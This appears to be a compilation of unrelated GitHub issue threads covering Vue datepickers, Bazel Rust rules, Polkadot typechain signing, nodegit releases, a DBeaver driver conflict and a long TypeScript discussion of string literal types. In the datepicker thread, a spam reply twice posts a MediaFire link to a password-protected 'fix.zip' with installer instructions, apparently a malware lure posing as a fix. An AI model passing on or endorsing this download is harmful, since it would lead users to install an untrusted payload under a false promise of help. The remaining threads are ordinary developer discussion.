How do I toggle menu on button but hide the input field? Instead of input the label of button should get changed to selected date

I need to open VueDatePicker at the click of a button. Once the dates are selected, the button's label shall change with the selected date.
UI

Taking about UI as expected output: When I click on 'Custom' button, the datepicker shall open, below it and once date selection is done, the selected date should be displayed as screenshot two.
Current Ouput-

<button class="filter-component__button filter-component__button--first" @click="openDp">
   Custom
   <VueDatePicker v-model="date" ref="datepicker" :hide-input-icon="true" placeholder="Custom dates"
           auto-apply range multi-calendars :enableTimePicker = "false" />
</button>

script:

const showDp = () => {
  if (datepicker.value) {
    // Close the menu programmatically
    datepicker.value.toggleMenu();
  }
};

How can I achieve the above? Link on the

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I found that there is something called slots: CODE BELOW.
When I use range preset, I'm not able to select dates. If remove range in the below setup, it calendar starts working.
<VueDatePicker class="filter-button" v-model="date" format="dd MMM yy"
                     :teleport="true" auto-apply range multi-calendars :enableTimePicker = "false">
        <template #trigger>
          <div>
            {{ date ?? 'Custom' }}
          </div>
        </template>
      </VueDatePicker>
      ```

Ahh. Nevermind, the App restarted and it started working!


[FR]: Rust Examples Please

What is the current behavior?
There's currently no rust example.
Describe the feature
Now that https://github.com/bazelbuild/rules_rust/issues/2627 is fixed, rules_rust supports incompatible_enable_proto_toolchain_resolution. It would be really great to have rust and rust+prost examples in this repo!

Oh neat, I'm glad this is possible now. Maybe @illicitonion and I can find some time to play with it - however as I just noted on the README, Bazel 8 broke this toolchain and I don't have time to deal with that..


Supporting signing via third-party web3 extensions

Hey there, really appreciate someone took over responsibility on typechain-polkadot. Would love to see this getting well maintained here at prospo and happy to collaborate (we're the creators of inkathon.xyz & AZERO.ID).

To make typechain-polkadot compatible with dApp-like in-browser environments (where the signer is injected via web3 extensions), a few (minor) changes where needed. See the links below and please let me know asap if I can do the PR here and it's going to be merged.
Open for feedback (maybe I also missed something, but as far as I've tried only signing with a keyring-pair was possible before).
Related:

Original Issue: https://github.com/Brushfam/typechain-polkadot/issues/126
My PR fixing it: https://github.com/Brushfam/typechain-polkadot/pull/138

Pushing this up, @forgetso @HughParry @goastler

Awesome, thanks for your effort on this!
I'll check it out over the weekend :)

Hey @wottpal, thanks for bringing this to our attention. I'm not sure how you utilise Typechain but we are currently evaluating how we call ink smart contracts from within a web page. The size of polkadotJS is challenging when trying to create slim JS bundles and we are considering modifying Typechain to output static contract bindings, free from runtime ABI parsing . If this sounds of interest, please get in touch with me on element (@cchris:matrix.org). Perhaps we could shape it into a treasury proposal.

Thanks for answering & interesting ideas, @forgetso! 🔥

I'm not sure how you utilise Typechain but we are currently evaluating how we call ink! smart contracts from web pages.
I can only recommend looking into our projects useInkathon & inkathon.xyz. Both are officially recommended by Parity's ink! team :)

The size of polkadotJS is challenging when trying to create slim JS bundles and we are considering modifying Typechain to output static contract bindings.
That's true, but that's sadly still the status quo when working with ink! and Substrate in the frontend. I think building a more efficient replacement for this should not be underestimated in terms of effort (Parity has tried multiple times in the last 1-2 years – w/o success yet). Sounds still very interesting and happy to get in touch with you 🙌

Re this PR: This is still a significant blocker for us as we have no access to the KeyringPair from the injected web3 extension (afaik) and regarding the size of the PR it seems like a low-hanging fruit to me. Would be super happy if we can get this through regardless of other efforts. 🚀

Done in https://github.com/prosopo/typechain-polkadot/pull/25


Stable Release with Prebuilt Binaries for Node 16 and 18?

I'd like to get a general idea of the release plan:

Roughly when could we expect a new stable release with prebuilt binaries for Node 16 and 18?
What platform/arch will have prebuilt binaries?

I think it makes more sense here to instead ask when a release of 0.28.0 can be scheduled, since that resolves the build issues. For the time being, you can get around the build issues by installing npm i nodegit@next but obviously using a pre-release is not ideal.
So that being said, when could a final 0.28.0 release be published.

+1 on this one, especially now that Node 16 will enter EOL soon


[RFR] [Feature] add target to FileField

sometimes you really need to open the attachments in new window

Please add documentation, too

@fzaninotto tried .)

any other needed changes?

Thanks!

Issue with prop target="_blank" with href set to a "blob" does not work with chrome 64.0.3282.140.
<FileField src="rawFile.preview" title="rawFile.name" target="_blank"/>
Works correctly with Firefox.

Do not comment on pull requests, please open an issue


TabBar / Tab issues

Hi,
I'm happy to see material components in React. I've been playing with some components and I've detected several issues in tab components:

activeIndex is used to set component initial state and after that it is ignored. This looks like a bad controlled component (props should be the source of truth for controlled components).
Ripple animation is fired twice
No bottom line
Not very "react-ish", patters like render props could greatly simplify usage

I've been unable to reproduce these examples using react.  Perhaps I'm doing something wrong, some examples would be appreciated.

I've created a codesandox to reproduce those problems. The code is taken from react-tab-bar README
https://codesandbox.io/s/3v9xz998v1
To reproduce the double ripple issue, open codesandbox preview in new page, open dev tools and set a mobile viewport

@pladaria thanks for opening the issue...RE activeIndex, you can programmatically update the activeIndex and the componentDidUpdate will catch that change. https://github.com/material-components/material-components-web-react/blame/master/packages/tab-bar/index.js#L32
So I'm not sure what you mean by that issue, but I did find a different issue, which I have a fix for.
RE: double ripple - I do see that, and will also be fixing. Strange that its happening, but maybe its because there is a touch event as well.


Commits are not pushed to remote even if there are new commits in local repo

It is not clear under yet under what circumstances push is skipped (because syncing works in general and it clearly didn't some times). However, it was notices that Git 2.5.5 does not have description of --exit-code option in its man git-log page - see its usage here in are_changes_available function.
At least it's clear that git log --exit-code remote/develop..develop with Git 2.5.5 does not return any error code if there are changes listed. How does it even sync sometimes?

Commit 35496ba2452d1ff3ddfcb911ae5a9ba4cc0035cf solves problem of detecting differences between branches (by using exit code from diff instead of log):


JNA loader constraint violation with MariaDB & waffle-jna

Description
when loading latest mariadb connector version (3.3.2), connection throw an error
Unexpected driver error occurred while connecting to the database
  loader constraint violation: loader org.jkiss.dbeaver.registry.driver.DriverClassLoader @76f31bcb wants to load class com.sun.jna.Pointer. A different class with the same name was previously loaded by org.eclipse.osgi.internal.loader.EquinoxClassLoader @4cf5d999. (com.sun.jna.Pointer is in unnamed module of loader org.eclipse.osgi.internal.loader.EquinoxClassLoader @4cf5d999, parent loader 'platform')

This is a problem, because since a few version, mariadb 3.3.2 has a waffle-jna dependency. So this always occurs for all connections, even if GSS authentication is not used.
Waffle-jna dependency and seems incompatible with dbeaver (reading from #8247), i've tryed to checking "ignore transcient dependencies" that permit connection when not using GSS authentication.
When needing GSS authentication, adding waffle artificts manually without JNA, that results in error" com/sun/jna/ptr/IntByReference", probably because JNA version doesn't match.
DBeaver Version
<IP_ADDRESS>401072024
Operating System
windows 11
Database and driver
mariadb database 10.11 and java connector 3.3.2
Steps to reproduce
No response
Additional context
This is similar to #8247 and #15289

Hello @rusher
Did you do these steps?

You will need to add both waffle and caffeine artifacts separately.
Another workaround: download them and add them as jar files.

yes, i've been adding all the jars separatly adding :
org.mariadb.jdbc:mariadb-java-client:3.3.2
com.github.waffle:waffle-jna:3.3.0
org.slf4j:jcl-over-slf4j:2.0.7
org.slf4j:slf4j-api:2.0.7
com.github.ben-manes.caffeine:caffeine:2.9.3
org.checkerframework:checker-qual:3.32.0
com.google.errorprone:error_prone_annotations:2.10.0
net.java.dev.jna:jna-platform:5.13.0

jars and downloading them
see

but that's still result (when using GSSAPI, normal authentication connection work then ok) in:

probably because JNA jar version is not compatible with net.java.dev.jna:jna-platform:5.13.0.

Thanks for the answer. We will look at it.

The problem cause by JNA dependency in MySQL driver extension.
We could try to fix it by moving all JNA interaction to another plugin so classes won't conflict.

correction confirmed thanks !


Fix using EditBones outside of EDIT mode in create_eye_tracking

This is a small patch to fix a UnicodeDecodeError that was brought up by a user on Discord when they were creating eye tracking (I successfully reproduced it after a few tries):

Getting a UnicodeDecodeError when getting a name attribute typically happens when trying to use a variable where Blender has already freed its memory.
Sometimes, such code will work fine as the memory hasn't been overwritten yet, but other times the name attribute will now be some other random memory, so there may be unexpected results, errors may occur (such as this) or rarely, Blender could crash.
In this particular case, references to EditBones were still being used after switching to OBJECT mode from EDIT mode, which frees the memory of the EditBones.
To fix the issue, I have created separate variables for the needed attributes of the EditBones, prior to to the switch to OBJECT mode.

Thank you!


WASM Support

Add support for compiling to wasm32-unknown-unknown and wasm32-wasi,
The only dependency blocking this atm is getrandom, because the wasm32-unknown-unknown feature is disabled by default. Adding the "js" feature seems to solve this. I haven't run all the test suites but aead works fine on wasi and wasm32-unknown once this is done.

Hi @Redrield
Thank you for the suggestion! This certainly does sound like something worth adding. I haven't looked in to it but, at a glance, it seems like it can be done without much complication. I'll try get around to it soon, but feel free to open a PR if you've get a working approach.

After checking out the documentation of the js feature of getrandom, wasm32-wasi should work out-of-the-box. Only wasm32-unknown-unknown should be blocked. Looking at the documentation further, it states

Instead, if the "js" Cargo feature is enabled, this crate will assume that you are building for an environment containing JavaScript, and will call the appropriate methods.

This assumption is quite important, so we can't enable the js feature by default. It most likely needs a separate feature flag. @Redrield, could you maybe tell me more about if you're intending on using Orion with wasm32-unknown-unknown somewhere. If yes, what for?

All else being equal, I'd definitely prefer to have WASM support feature-gated behind something like a js feature, which basically would only enable the js feature in the getrandom crate. And I'd keep it disabled by default.

I'll close this issue for now due to inactivity. If you have further concerns/questions/comments @Redrield, please feel free to re-open it!


Vertical nav links cannot be opened in new tab

Control + Left clicking or middle clicking on a link in the navigation menu should open up a new tab in the browser, but when you do that, nothing happens.
This seems to be caused by using a function for the links in the menu, rather than using angular's <a [routerLink]="/path> syntax.

Closing due to inactivity.

Hold on, this is still a problem for us. This sort of thing is not only frustrating to our users, but also makes the site virtually unusable for anyone on a screen reader.

Unfortunately, this repo is inactive and the issue is about a year old. Although, feel free to contribute a fix.


Fix pylint on 1.19.x - backport #18190

Fixes Sanity on 1.19.x (allows https://github.com/grpc/grpc/pull/18202 to proceed).
Backports PR #18190 to 1.19.x, to fix sanity on 1.19.x

interop tests failed because node docker image didn't build - https://github.com/grpc/grpc/issues/15464


Update for mc1.20.2

Optimally this would be merged to a new branch mc1.20.2 from mc1.20.1, but none exists yet, so the PR is to mc1.20.1 for the moment.

can you provide the build file?

Refer to the CurseForge Project

Thank you


Singleton types under the form of string literal types

This proposal is based on a working prototype located at https://github.com/Nevor/TypeScript/tree/SingletonTypes
String literal types extended to the whole language
This change would bring singleton types created from literal string to complete recent addition of type aliases and union types.  This would hopefully satisfy those that mentioned string enum and tagged union in previous PRs (#805, #186).
This addition would be short thanks to a concept that was already implemented internally for ".d.ts" files.
Use cases
Often operational distinction of function and values are done with an companion finite set of string that are used as tags. For instance events handler types rely on strings like "mouseover" or "mouseenter".
Sometimes string are often themselves operating on a finite definite set of values that we want to convey this through specifications and have something to enforce it.
And for more advanced typing, we sometimes use types themselves as informations to guide function usages, constraining a little further the base types.
Current workarounds
There is no way to create string enum for now, the workaround is to manipulate variables assigned once and for all. This does not protect from typos that will gladly propagate everywhere a string is used.
When we want to implement tagged union types for symbolic computation, we must use some number enum coupled with subtyping and casting machinery, losing all type safety.
In general, advanced type constraint are done through classes and this put us further away from simple records that would have been used in javascript.
Overview examples
type result = "ok" | "fail" | "abort";

// "string enum"
function compute(n : number) : result {
  if(...) {
    return "ok";
  } else if (...) {
    return "fail";
 } else {
    return "crash"; // Error, not accepted
 }
}

function checkSuccess(o : result) : void { ... }

var res : result = compute(42);

checkSuccess(res); // OK
checkSuccess("crash"); // Error

res = "crash"; // Error

var message = res; // OK, message infered as string
var verbose = "Current status : " + res; // OK

// Specifications constrains
interface operationAction {
  name : string;
  id : number;
  status : result;
}

// Usable as and with regular types
var results : result[] = [compute(3), compute(27), "ok"]; // Ok
results = ["crash", "unknown"]; // Error

type error_level = "warning" | "fatal";

interface Foo<T> {
  foo : T;
}
interface Toto<U> {
  value : Foo<result> | { unknown : string; value : U };
}

var foo : Toto<error_level> = { foo : "ok" }; // OK
var foo : Toto<error_level> = { foo : "crash" }; // Error
var foo : Toto<error_level> = { unknown : "Unknown error", value : "warning" }; // OK
var foo : Toto<error_level> = { unknown : "Unknown error", value : "trace" }; // Error

// Disjoint union
type obj = { kind : "name"; name : string } | { kind : "id"; id : number } | { kind : "internal" ; id : number }

var o : obj = { kind : "name", name : "foo", id : 3 }
var o : obj = { kind : "id", name : "foo", id : 3 }
// Both object are strictly distinguished by their kind

var o : obj = { kind : "unknown", name : "something" }; // Error

type classical_obj : { name : string } | { id : number };

var c_o : classical_obj = { name : "foo", id : 3 }; // A supertype of both is assignable, we lose infos

Typing specifications

any string literal as type "s" (StringLiteralType) where s is the content of the literal.
every StringLiteralTypes are subtypes of string, the reverse is not true.
two StringLiteralTypes are compatible if and only if they represent the same string literal.

type ok = "ok"

var a : ok = "ok";
var b : "ok" = a; // OK

var a  : ok = "no"; // Error
var c : string = a; // OK
var a : ok = c; // Error

Pitfalls and remaining work
Backward compatibility
This prototype is backward compatible (accepts programs that were accepted before) but in one case :
function ... {
  if (...) {
    return "foo";
 } else {
    return "bar";
 }
}

The compiler will raise an Error saying that there is no common type between "foo" and "bar". This is because the compiler only accept one of the return type to be supertype and does not widen before.
We might add a special case for StringLiteralTypes and keep other types as is, or, do some widening and therefore accept empty records for conflicting records for instance.
Error messages
It might confuse users that their literal strings are mentioned as types when they are expecting to see "string" even though this difference as no incidence on normally rejected string.
The compiler might display StringLiteralTypes as "string" whenever the conflict is not involved between two StringLiteralTypes.
Extending type guards
To be fully usable to distinguish records by type tags, type guards should be extended to take into account this kind singleton types. One would expect the following to work :
type obj = { kind : "name"; name : string } | { kind : "id" ; id : number };
var o : obj = ...;
if (o.kind == "name") {
  /* o considered as left type */
} else if(o.kind == "id")  {
  /* o considered as right type */
}

:+1:
having this feature would be invaluable, I'm sorry to ask that but is it scheduled for a typescript version ?

We still need to talk about it a bit further but the idea was well liked. At the moment our near term schedule is fairly full with ES6 related features though.

Thanks for working this out @Nevor, another big thumbs up for this suggestion! Our codebase could really benefit from this feature.
Most people coming from functional languages may first think of an addition closer to #186 (crazy thoughts of a TypeScript pre-processor were thought). But this tagged union (literally) approach seems much more idiomatic and a perfectly natural extension of TypeScript.
Are there any steps we could take to help with this? Any open questions to explore? What is missing?

:+1:

Accepting PRs. With something like this, please include lots of tests with your PR :smile:

Yay! :grinning:
Can we clarify the intended scope? As far as I can tell, this issue brought up the following main ideas:

Singleton types in the form of string literal types
Singleton types in the form of const-enum members
Allow type refinement by tag inspection (foo.kind === "name")
Allow for switch statements to serve as type guards

Which of these are within the scope for a suggested implementation? Does it make sense to tackle 1. and 2. together? Should 3. be treated as part of #1007?

1 and 3 only, I think. 2 is probably separable; 4 is covered by #2388

We may consider this for boolean literal types as well. They could be very useful for generators, as per issue https://github.com/Microsoft/TypeScript/issues/2983

I'm wondering whether this would allow forwarding to string literal overloads such as document.createElement. treating such overload sets like a reusable way to map runtime strings to compile-time interfaces, so for example, the caller can specify the type once (as a string literal) and have it checked both at compile and runtime:
function safeQuerySelector<TTagName /* constraint? */>(sel: string, tagName: TTagName) {

    // To discover what createElement would return, given string type tagName
    var elem = ((x?: void) => x ? document.createElement(tagName) : null)();

    // actually do the query
    elem = <typeof elem>document.querySelector(sel);

    // validate that the found element is of the desired type
    if (!elem || elem.nodeName !== tagName.toUpperCase()) {
        throw new Error(`Selector ${sel} does not identify a ${tagName} element`);
    }
    return elem;
}

var a = safeQuerySelector(".crazyLink", "a");
a.href = "blah"; // fine, as safeQuerySelector returned HTMLAnchorElement

But TTagName needs a constraint to ensure that it is a string. TTagName extends string is presumably wrong because it allows anything structurally compatible with string, which is not strict enough for DOM methods that want a real string.
Wouldn't be ideal to have to manually write down the union of all parameters acceptable to createElement:
function safeQuerySelector(
    sel: string,
    tagName: string|"a"|"abbr"|"acronym"|"address"|"applet"
                    //... and so on for ~100 cases

@danielearwicker Actually, extends string would mean that it is really a string. Something structurally compatible with a string does not satisfy extends string. The one you are thinking of is extends String (note the capitalization). That is the structural one.

I'm just wondering how it should be dealt with if we want to extend the type with more string literals.
Use case:
type Event = "click" | "drag" | "touch";
declare function addEventListener(event: Event);
addEventListener("click");
createEvent("dbclick");
addEventListener("dblick"); // error

@tinganho You'd be able to use:
type SomeEvents = "click" | "drag" | "touch";
type MoreEvents = SomeEvents | "dbclick";
declare function addEventListener(event: MoreEvents);
addEventListener("click");
addEventListener("dblick");
declare function addEventListener2(event: SomeEvents | "dbclick");
addEventListener2("click");
addEventListener2("dblick");

We don't have a way to augment a type declared by a type alias, whether or not it's a union type. You'd have to do what @jbondc suggested.

I'd like to clarify something about my interpretation of the proposal. Somebody please correct me if I'm wrong:

A string literal in type position denotes the string literal type associated with the given text
A string literal in a value position that is not contextually typed has type string
A contextually typed string literal has the string literal type associated with the text
Unlike the relation between enums and number, string is neither assignable to nor a subtype of a string literal type.

The apparent type of a string literal type is the String interface type.

@JsonFreeman Not sure about (2), (3), currently working out details. Should have a patch you can review in a couple of days. Would help if you have test cases in mind.
My expectation is:
var varStringA = "a"; // string type
let letStringA = "a"; // string type
const constStringA = "a"; // 'string set type' that allows only the value "a"
let letStringAB: "a" | "b" = "a"; // 'string set type' that allows only the values "a" | "b"
let letStringABC: "a" | "b" | "c" = "a"; // 'string set type' that allows only the values "a" | "b" | "c"

function foo(values: "a" | "b") {}

foo(varStringA); // error string not assignable to "a" | "b"
foo(letStringA); // error string not assignable to "a" | "b"
foo(constStringA); // ok
foo(letStringAB); // ok
foo(letStringABC);  // error  "a" | "b" | "c" not assignable to "a" | "b"

function fooInferReturn() { // infers string
   if(Math.random() > 0.5)
       return "a";

   return "b";
}

function fooInferReturn() { // infers "a" | "b"
   const a = "a";
   const b = "b";
   if(Math.random() > 0.5)
     return a;

   return b;
}
function fooInferReturnMixed() { // infers string (if any return value not const)
   const a = "a";
   if(Math.random() > 0.5)
     return a;

   return "b";
}

No, you are talking about constant propagation, which is based on how a certain entity is declared (whether it has the const keyword or not determines whether it is a string literal type or not). I am talking about flowing this information via types, and doing the discrimination based on contextual typing info. This is what we have done for tuples vs arrays. Namely, an array literal contextually typed by a tuple type has a tuple type. In a similar way, a string literal contextually typed by a string literal type has a string literal type (the thing you are calling a set type). This is in order to maintain backward compatibility.

I will add that unless I misunderstood your proposal, the difficulty is that it does not maintain the same overload selection rules when you pass a string literal as an argument to a call.

Yes, while it doesn't seem like typing const-declared strings as string literal types would be a problem, it unfortunately is:
function foo() {
    const a = "hello";
    return a;
}

var x = foo();
x = "world";

Here, a would be typed as "hello". foo's return type is now "hello". In turn, x is typed as "hello", but now x cannot be reassigned any other string.

@DanielRosenwasser With the contextual typing approach, you could still run into a similar thing. I'm modifying your example a bit to add a type annotation:
function foo(): "hello" {
    return "hello";
}

var x = foo(); // Inferred as "hello"
x = "world"; // Still an error

With the contextual typing approach, you could still run into a similar thing.

But at that point you've opted into an explicit string literal type, whereas having const declarations implicitly do so is a breaking change, so I'm not seeing the issue.

Yes, I agree. Just wanted to make sure.

@DanielRosenwasser @JsonFreeman I think it still works:
function foo() { // infer type "hello"
    const a = "hello";
    return a;
}

var x = foo(); // widens to string because x is *not* const
x = "world"; //ok

const y = foo(); // y has type "hello"
y = "world"; // hello

I don't think that would be intuitive for users (it is inconsistent between types of declarations), but I can see some merits to that approach.

Neither the contextual type approach nor the widening approach results in different treatment for const declarations versus variable declarations. Unless somebody voices a clear advantage for the widening approach, I favor contextual typing.

@JsonFreeman The thing I call a 'set type' is not a string literal type:
https://github.com/Microsoft/TypeScript/blob/2fafd71763143446c2a6bfe2eab1736aa1f1e23d/src/compiler/sets.ts
It's a set type, what I'm doing is mapping string literals to 'BitSets' which are super easy to compare. The following test cases work:
https://github.com/Microsoft/TypeScript/blob/2fafd71763143446c2a6bfe2eab1736aa1f1e23d/tests/cases/labs/sets/string.ts
https://github.com/Microsoft/TypeScript/blob/2fafd71763143446c2a6bfe2eab1736aa1f1e23d/tests/cases/labs/sets/number.ts
https://github.com/Microsoft/TypeScript/blob/2fafd71763143446c2a6bfe2eab1736aa1f1e23d/tests/cases/labs/sets/boolean.ts
https://github.com/Microsoft/TypeScript/tree/2fafd71763143446c2a6bfe2eab1736aa1f1e23d/tests/cases/labs
For contextual typing, I added this test:
https://github.com/Microsoft/TypeScript/blob/2fafd71763143446c2a6bfe2eab1736aa1f1e23d/tests/cases/labs/sets/stringSetInferred.ts
Think we can create a special type parameter '<string extends "a" | "b">' that is inferred from string|number|boolean literals.
I'm fine with any approach that performs well :wink: and gives a lot of flexibility.

One interesting question is whether a string literal type should be nullable (allow null / undefined as a value). Right now, our type system has types for null and undefined, but these types are assignable to all types. Should string literals be an exception because they denote one particular value? The motivation is this:
interface StringWrapper {
     kind: "string";
     value: string;
}
interface ArrayWrapper {
     kind: "array";
     value: string[]
}
var v: StringWrapper | ArrayWrapper = { kind: undefined, value: ["hello"] }; // Suppose this assignment is allowed
if (v.kind === "array") {
    // Clearly, v has type ArrayWrapper here
}
else {
    // Process of elimination suggests that v is of type StringWrapper, but that is not true.
    v.value; // string[]
}

There are 3 options:

Null and undefined are not assignable / subtype of a string literal type or a union of string literal types. This would be intuitive, but somewhat against the grain in terms of the existing rules in the type system.
Null and undefined are assignable, and we don't allow a string literal check to narrow a type in the false branch of a type guard construct. This is safe, but we give up some usability.
Null and undefined are assignable, and string literal checks can narrow in both branches. This means string literal type guards are kind of fuzzy, and can be misleading at times, but they are usable, and we get to keep our type system fully nullable.

Thoughts??

Interesting dilemma!  I've been thinking about this for an hour or so, and have typed up three different responses to how there was an obvious choice and the rest were evil.
I must say that the most vexing part of this code sample is // Suppose this assignment is allowed.
My selections in order of decreasing preference:

Implement non-nullable types holistically and get choice 1 for free, choice 2 for non-nullable types.
Go with choice 3 for now, make it an error when non-nullable types come out (this is an example of a good breaking change).
Implement choice 3 and create a new switch --strictTypeGuardNarrowing which lets people opt-in to choice 2 :bike: :house:

I don't think choice 1 fits with today's TypeScript.

var v: StringWrapper | ArrayWrapper = { kind: undefined, value: ["hello"] }; // error (on node kind): The value 'undefined' is not in the set "string" | "array"
if (v.kind === "array") {
    // Clearly, v has type ArrayWrapper here
}
else {
    // Process of elimination suggests that v is of type StringWrapper
    v.value; // string[]
}

If you create a union of string literals, numeric literals or boolean literals, this does not include the value 'null' or 'undefined'.
So yes you get an easy way to declare strict non-nullable types.
You can however add them:
type someStringsWithNull = "a" | "b" | null;
type someStringsWithNullUndefined = "a" | "b" | null | undefined;

function foo(){ // infers string set type  "a" | "b" | null
   return "a";
   return "b";
   return null;
}

function foo(){ // infers string set type  "a" | "b" | null | undefined;
   return "a";
   return "b";
   return null;
   return undefined;
}

function foo(){ // infers string set type  "a" | "b" | null | undefined;
   return "a";
   return "b";
   return null;
   throw "something"; // infers undefined
}
case Base {}
class A extens Base {}
class B extends Base {}
function narrowMe(something: Base){ // infers string set type  "a" | null
   return "a" is A;
   return null is B;
}

Type narrowing by constant value:
if(narrowMe(something) === null) {
   something; // B
} else {
     something; // A
}

Similarly, a 'number set' does not include Infinity | NaN:
type numbers = 1 | 2 | 3 | 4 | 5;
let n: numbers = null; // error the value 'null' is not in set 1...5
n = NaN; // error the value 'NaN' is not in set 1...5
n = 5;
n = 10; // error the value '10' is not in set 1...5

You can however add them:
type numbersAndFriends = 1 | 2 | 3 | 4 | 5 | NaN | Infinity | null | undefined;
let nf: numbers = null;
nf = undefined;
nf = NaN;
nf = Inifinity;

I think option 1 is correct and preferrable for the kind of type-level reasoning that singleton types are able to bring to the language.
I think of a singleton type as a subset of a broader type where the subset is a single value from the broader set, ie a singleton set. null and undefined are always members of the broader set, but a singleton type is a subset and can therefore exclude these two values.
If singleton types implicitly always also include null and undefined as allowed values, they are not really singletons at all, they are 'tripletons' or something, with the weaker powers of type-level reasoning that go with that.
eg var abc: 'abc' is stating explicitly that abc can only have the value 'abc'. null and undefined are explicitly not members of this type's value set.
Is there some scenario using singleton types where assigning null and/or undefined would be useful? Or is this perhaps more an issue with the way the compiler currently works? (Or both?)

@yortus A very straightforward example that I can think of is setting the value of a variable programmatically, e.g.:
function numberRangeName(num: number)
    var x: "positive"|"negative"|"zero";  // x is undefined here.
    if (num > 0) {
        x = "positive";
    }
    ///etc...
    return x;
}

Of course you could always have a "NotSure" in there, but then that's basically the same thing as allowing undefined, just more explicit.  I know you could write this simple example slightly differently to eliminate the temporary variable, but more complex examples might require it.

@jbondc, you cannot denote the null type and undefined types explicitly today. I'm not sure there is value in adding those words in the type syntax, rather than some sort of nullability marker.
To @yortus's comment, I was going to say that null and undefined are not really in the spirit of singleton types, and having the types be nullable is just a type system limitation. But I am actually convinced by @nycdotnet's example, where the value is set after the declaration point. If we made these types non-nullable, then you would have to modify the code in that example to take advantage of var scoping:
function numberRangeName(num: number)
    if (num > 0) {
        var x: "positive"|"negative"|"zero" = "positive";
    }
    ///etc...
    return x;
}

But while this is a pattern we support, it's not a pattern we want to encourage.

@JsonFreeman Have you looked at my patch?
A set type:
type something = "a" | "b" | "c";

Is the creation of a type from literal values, not other types.
function numberRangeName(num: number)
    var x: "positive"|"negative"|"zero"|undefined;  // x is allowed to be undefined here.
    if (num > 0) {
        x = "positive";
    }
    ///etc...
    return x;
}

I haven't encoded those values into 'bits' yet but plan to add them:
	const valUndefined: BitSet = [2, 1];
	const valNull: BitSet = [2, 2];
	const valTrue: BitSet = [2, 4];
	const valFalse: BitSet = [2, 8];
	const valInfinity: BitSet = [2, 16];
	const valNaN: BitSet = [2, 32];

I'm kind of concerned you want to implement this differently.

var x: "positive"|"negative"|"zero";  // x is undefined here.

That's just an uninitialised variable. The compiler can already flag an error for this - eg:
const a;  // Error: 'const' declarations must be initialized
Its also trivially easy to avoid:
function numberRangeName(num: number)
    var x: "positive"|"negative"|"zero" = "zero";
    if (num > 0) {
        x = "positive";
    }
    ///etc...
    return x;
}

I guess there's a trade-off for the user of singletons: either they must pay the cost of initialising singleton variables to a valid value, or they must pay the cost of having to have extra type guards and checks everywhere the values are used.
I guess I was wondering if there is a useful example of allowing null/undefined in a singleton? ie where it helps express or solve a problem at hand.

Talked with @mhegazy. We think that this issue really doesn't have much to do with string literal types. Instead it has more to do with type guards that involve property accesses. To this end, our inclination is that if you have a type guard based on a property access, we will only narrow the type in the true branch. The false branch could trick us into doing a faulty process of elimination.

@JsonFreeman can you clarify what this means for whether or not the type system would consider null/undefined as valid values for singleton types?

Sure, it means that singleton types are just like any other type, in that they implicitly allow null and undefined. This minimizes friction with the rest of the type system.
I do see the merit in making singleton types not allow null or undefined. However, doing that would mean that we need to provide a way to denote a nullable singleton type. We have thought about nullability in general from time to time, but so far have not come to any promising conclusions about how it would be accomplished. For better or worse, our type system today is nullable at its very core.

Got it. Still curious to see an example illustrating why someone might want to constrain a type to a singleton value and also want it to be nullable. Bearing in mind this is all purely about compile time type checking since singleton types obviously have no runtime support.

Clarifying my last comment... I would like to know the justification for this statement:

we need to provide a way to denote a nullable singleton type

What need does a nullable singleton satisfy?

Also isn't undefined itself (as in the value of the expression void 0) an instance of both:
a) a singleton type
b) a non-nullable type
So its not like they are unprecedented.

Instead it has more to do with type guards that involve property accesses.
...
we will only narrow the type in the true branch. The false branch could trick us into doing a faulty process of elimination

I don't follow the reasoning.
First, for a variable whose type is an union of singletons and a guard testing one of the values (which does not involve any property access):  the fact that the value can be null or undefined should not change the fact than in the false branch, there is one less possibility.  Now if you test all possibilities (with a cascade of if-then-else or a switch), you're left with an empty union, which could still denote either null or undefined (if you decide so).  This can be tested with further branches, or asserted by calling a function taking precisely this empty type (a soft version of "exhaustivity modulo non-nullness" checking).
Now, if the guard in on a property access (with an initial type being typically a union of objects with a discriminator field), the same approach would still work:  when testing if the property has a specific value, the false branch should have the knowledge that the corresponding case(s) in the union are no longer possible.  I don't see why allowing null/undefined would affect that.

Should have a patch in a couple of days, it's looking pretty awesome :smile:
@JsonFreeman The conclusion I came to is that constants deserve special treatment, they can 'bypass' the type check. So the compiler has a notion of two things:

Type checking
Constant checking

function foo(something: "a" | "b") {}
foo("a") // "a" here is a constant, we check if "a" is in the set "a" | "b"
// we don't really care about the type but for theory's sake, it has type string

My thinking aligns more closely with:
http://blog.golang.org/constants
These ideas are my own, go is the closest thing I've seen to the approach I'm taking.
Type narrowing leverages that we know about constants:
// property access
type obj = /*1*/ { kind : "name"; name : string } |  /*2*/ { kind : "id" ; id : number };
// compiler: infer from the union that kind is a set type of "name" | "id"
// compiler: add the constant identity mapping to the union of
 //  {"kind": {"Sname": ObjectOf1, "Sid": ObjectOf2 }}

var o : obj;
if (o.kind === "name") {
  // LHS is a set type
  // RHS is a *constant*
  // LHS parent type has an identity mapping  {"kind": {"name": ObjectOf1, "id": ObjectOf2 }}
  // boom ["kind"]["name"] --> narrows
  o.name;
} else if(o.kind === "id")  {
  // LHS is a set type
  // RHS is a *constant*
  // LHS parent type has an identity mapping  {"kind": {"name": ObjectOf1, "id": ObjectOf2 }}
  // boom ["kind"]["id"] --> narrows
   o.id;
}

It's all going to work out nicely. Like I said before null is not included by default. But it could be:
type obj = /*1*/ { kind : "name"; name : string } |  /*2*/ { kind : "id" ; id : number }
 |  /*3*/ { kind : null ; nullDude : number };
// compiler: infer from the union that kind is a set type of "name" | "id" | null
// compiler: add the constant identity mapping to the union of
 //  {"kind": {"Sname": ObjectOf1, "Sid": ObjectOf2, "n": ObjectOf3 }}

Note that each constant actually gets a special "identity key" for the identity mapping part.

I'll add this will work with const enums or any const binding that resolves to literal:
let something: {kind: "a", a: true} |  {kind: null, null: true}  | {kind: 0, integer: true}
// identity mapping becomes {"kind": {"Sa" : ObjectOf0, "n" : ObjectOf1, "I0": ObjectOf2} }
const Null = null;
const A = "a";
const enum Things {
   a, b, c
}
if (something.kind === Things.a) {
  // mapping of "I0" (integer) constant key in 'something'
} else  {
  // whatever is left in our identity mapping
  something; // {kind: null, null: true} | {kind: 0, null: true}
}
if (something.kind === Null) {
  // mapping of "n" constant key in 'something'
} else  {
